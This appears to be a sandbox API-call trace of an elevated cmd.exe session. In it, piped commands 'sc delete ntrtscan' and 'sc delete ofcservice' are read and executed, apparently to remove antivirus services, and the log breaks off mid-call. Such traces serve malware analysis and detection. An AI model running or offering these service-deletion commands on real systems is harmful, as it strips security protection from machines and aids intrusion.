GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.563] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.563] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.563] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.563] GetFileType (hFile=0x120) returned 0x3 [0079.563] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.563] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.563] GetFileType (hFile=0xb8) returned 0x3 [0079.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.563] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="otrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="frtscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ctscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="sscan\nnService\ne\n\n\nA\"\n") returned 1 [0079.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="ecan\nnService\ne\n\n\nA\"\n") returned 1 [0079.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.567] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="ran\nnService\ne\n\n\nA\"\n") returned 1 [0079.568] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.568] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="vn\nnService\ne\n\n\nA\"\n") returned 1 [0079.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="i\nnService\ne\n\n\nA\"\n") returned 1 [0079.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="cnService\ne\n\n\nA\"\n") returned 1 [0079.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="eService\ne\n\n\nA\"\n") returned 1 [0079.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="\nervice\ne\n\n\nA\"\n") returned 1 [0079.570] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.570] GetFileType (hFile=0xb8) returned 0x3 [0079.570] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.570] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.570] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.570] GetFileType (hFile=0x120) returned 0x3 [0079.570] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ofcservice\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ofcservice\n", lpUsedDefaultChar=0x0) returned 22 [0079.570] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x15, lpOverlapped=0x0) returned 1 [0079.570] GetProcessHeap () returned 0x240000 [0079.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.570] GetProcessHeap () returned 0x240000 [0079.570] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.570] GetProcessHeap () returned 0x240000 [0079.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.570] GetProcessHeap () returned 0x240000 [0079.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.570] GetProcessHeap () returned 0x240000 [0079.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256510 [0079.571] GetConsoleOutputCP () returned 0x1b5 [0079.571] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.571] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.571] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.571] GetProcessHeap () returned 0x240000 [0079.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.571] GetProcessHeap () returned 0x240000 [0079.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25aa40 [0079.571] GetProcessHeap () returned 0x240000 [0079.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0079.571] SetErrorMode (uMode=0x0) returned 0x1 [0079.571] SetErrorMode (uMode=0x1) returned 0x0 [0079.572] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.572] SetErrorMode (uMode=0x1) returned 0x1 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0079.572] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.572] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.572] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.572] GetProcessHeap () returned 0x240000 [0079.572] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.572] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.573] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.573] GetLastError () returned 0x2 [0079.573] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.573] GetLastError () returned 0x2 [0079.573] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.573] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.573] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.573] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.574] GetLastError () returned 0x2 [0079.574] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.574] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.574] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.574] GetProcessHeap () returned 0x240000 [0079.574] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.574] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.574] GetProcessHeap () returned 0x240000 [0079.574] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa2) returned 0x259180 [0079.574] GetProcessHeap () returned 0x240000 [0079.574] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa2 [0079.574] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ofcservice") returned 1 [0079.575] GetProcessHeap () returned 0x240000 [0079.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.575] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.575] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.575] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.575] GetProcessHeap () returned 0x240000 [0079.575] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.575] GetProcessHeap () returned 0x240000 [0079.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.575] GetProcessHeap () returned 0x240000 [0079.575] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.575] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ofcservice", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ofcservice", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete ofcservice", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xb2c, dwThreadId=0xb54)) returned 1 [0079.579] CloseHandle (hObject=0x54) returned 1 [0079.580] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.580] GetProcessHeap () returned 0x240000 [0079.580] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | 